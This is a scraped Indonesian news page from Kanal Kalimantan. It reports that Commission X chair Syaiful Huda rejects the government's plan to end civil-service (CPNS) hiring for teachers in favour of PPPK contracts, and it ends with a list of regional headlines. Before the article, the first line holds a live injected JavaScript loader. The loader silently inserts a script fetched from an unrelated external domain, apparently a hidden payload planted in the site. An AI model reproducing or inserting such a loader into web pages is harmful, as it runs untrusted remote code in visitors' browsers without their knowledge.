(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Komisi X DPR RI Tolak Wacana Pemerintah Hapuskan Jalur CPNS untuk Guru


KANALKALIMANTAN.COM, JAKARTA– Ketua Komisi X DPR RI Syaiful Huda menolak rencana pemerintah yang akan menghapus jalur CPNS untuk guru. Menurutnya penghapusan jalur CPNS untuk guru dikhawatirkan bakal menurunkan minat generasi muda memilih profesi sebagai pengajar.

“Kami menolak wacana penghapusan jalur CPNS bagi guru dalam seleksi ASN. Kami berharap hal itu masih rencana bukan suatu keputusan dan jika masih rencana kami harap segera dicabut,” kata Syaiful dalam keterangan tertulisnya, Sabtu (2/1/2021).

Syaiful menjelaskan, guru merupakan profesi yang membutuhkan stabilitas hidup tinggi. Pasalnya, sosok guru itu tidak hanya dituntut dari sisi kemampuan mengajar saja, akan tetapi juga mesti menjadi teladan dari sisi moral maupun spiritual.

Ia menilai kalau standar tersebut tidak mungkin tercapai kalau tidak ada jaminan kesejahteraan maupun karir bagi para pendidik di tanah air. “Status ASN bagi guru harus dipandang sebagai upaya negara untuk menghadirkan jaminan kesejahteraan dan karir bagi para guru,” ujarnya.

“Dengan demikian mereka bisa secara penuh mencurahkan hidup mereka untuk meningkatkan kemampuan mengajar dan menjadi tauladan bagi peserta didik,” tambah Syaiful.

Sebelumnya, pemerintah mewacanakan kalau lowongan bagi guru bakal dialihkan ke skema Pekerja Pemerintah dengan Perjanjian Kontrak (PPPK). Syaiful menganggap, skema itu tidak cocok untuk guru.

Sebab, dengan skema PPPK itu para guru harus dievaluasi setiap tahun dan bisa mendapatkan pemutusan hubungan kerja (PHK) kalau dinilai tidak mumpuni.

“Jika saat ini ada rencana rekruitmen sejuta guru honorer dengan skema PPPK harus dibaca sebagai upaya terobosan perbaikan nasib bagi jutaan guru honorer yang lama terkatung-katung nasibnya karena tak kunjung diangkat sebagai PNS oleh negara,” jelasnya.

“Jadi jangan hal itu dijadikan legitimasi untuk menutup pintu jalur PNS bagi guru. Semua ada konteksnya tidak bisa semena-mena dicampuraduk.” (suara)

Editor: suara


Al Ghifari

Recent Posts

Pemkab Kapuas Bahas Skema Penyelesaian Tenaga Non ASN

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More

16 menit ago

Wabup Kapuas: Hindari Pemborosan, Hentikan Budaya Dilayani

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More

19 menit ago

Banjir Balangan: 34 Desa Terdampak di 6 Kecamatan, Ratusan Rumah Rusak

KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More

2 jam ago

Pemkab Kapuas Salurkan Bantuan Korban Kebakaran Selat Tengah

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas melalui Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Kapuas… Read More

2 jam ago

Bupati HSU Melantik 41 Pejabat, Termasuk 4 Camat Baru

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani melantik 41 pejabat yang terdiri… Read More

17 jam ago

Perluas Kawasan Perkotaan Pemkab Kapuas Bangun Jalan Baru

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas terus memperluas kawasan perkotaan melalui pembangunan infrastruktur jalan… Read More

18 jam ago

This website uses cookies.